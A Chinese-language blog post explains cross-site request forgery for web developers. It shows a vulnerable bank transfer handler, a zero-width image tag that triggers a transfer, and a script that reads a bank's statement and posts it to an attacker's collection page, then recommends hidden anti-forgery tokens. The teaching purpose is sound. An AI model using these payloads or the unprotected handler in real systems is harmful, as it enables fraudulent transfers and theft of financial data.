安全問題永遠是腦力激盪的競賽…
今天看到一篇文章,主要是在談 Web Application 最常見的安全性問題,它主要講了三個重點:
- SQL Injection
- XSS: Cross-Site Scripting
- XSRF: Cross-Site Request Forgery
其中 SQL Injection 及 XSS 已經是老生常談了,一些新出版關於 web application development 的好書(如:Agile Web Development with Rails)也都會談論這些安全問題。而這篇文章提到的 XSRF 就好像比較少看到討論…
XSRF 從字面上的意思來看就是「Cross-site 偽造 request」(抱歉,我真的不知道怎麼用中文表達 XD)。假設有一個網路銀行的交易程式如下所示:
# Python script @expose() def send_money(self, to_whom, how_much): # validate that user has enough money transfer_money( from_user=identity.current.user.user_id, to_user=to_whom, amount=float(how_much)) turbogears.redirect('/')
網路銀行都會有一個表單來呼叫這樣的程式,假設使用者在同一個瀏覽器上(另外一個 tab)連上了一個釣魚網站,然後網站的內容出現一行:
<img src="http://www.tgbank.com/send_money? to_whom=thesamet&how_much=0.04" width="0">
惡意釣魚的網站利用了 <img> 這個 tag 來讓你去執行了特定網路銀行的交易程式,如果該網路銀行接受這樣的 request ,那你的錢就會被釣魚網站吸走!也許你會想:「那就讓程式只接受 POST request 就好啦~」但這樣其實也不安全,因為我只要隨便用一個 Prototype.js 裡的 Ajax.Request() 就可以輕易地發出 POST request,所以最好的方式,這篇文章的作者建議是在網頁中放一個 hidden 的 field 來存著只有你網站能產生的檢查碼。
另外一種可能的 XSRF attack 可能是這樣:
<script src="http://www.tgbank.com/monthly_statement.js" type="text/javascript"></script> <script type="text/javascript"> function send_data_to_the_criminal() { /* code that converts the statement object to string goes here */ Ajax.Request('/collect_other_people_data.php', postBody='data='+statement; } window.onload = send_data_to_the_criminal; </script>
假設你的網路銀行用 Javascript 來列出你的一些財務資料,然後釣魚網站加入了上面這樣的 code ,那它便能在你網頁讀完之後蒐集到這些資料,像這樣的攻擊前一陣子就成功地攻擊了 GMail (詳情請見這裡),attacker 可以利用這種攻擊方式取得使用者在 GMail 裡的通訊錄資料(目前已修復)。
看來從事 web application 開發工作的人,可是要時常動動腦讓你的 web 更安全,許多教導 web 開發的書籍更應該把安全問題放在書中好好地討論(正好可以利用這樣來評鑑書籍、作者的程度好或壞?)!
歷史上的今天
- Microsoft 提出要買 Yahoo! 的意願 - 2008
文章分類:
標籤: 
